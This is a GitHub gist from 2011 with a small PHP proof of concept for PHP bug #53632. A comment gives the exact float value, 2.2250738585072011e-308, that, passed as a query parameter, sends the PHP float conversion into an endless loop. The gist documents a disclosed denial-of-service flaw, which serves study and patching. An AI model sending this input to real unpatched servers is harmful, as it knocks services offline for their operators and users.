Created
January 5, 2011 13:07
-
-
Save tpetry/766282 to your computer and use it in GitHub Desktop.
Example for infinte loop of PHP in FP conversion (PHP-Bug #53632)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# open PHP-Floatingpoint-Dos.php?num=2.2250738585072011e-308 and PHP will never terminate | |
if($_GET['num'] > 0) { | |
echo 'OK'; | |
} | |
else { | |
echo 'NOK'; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment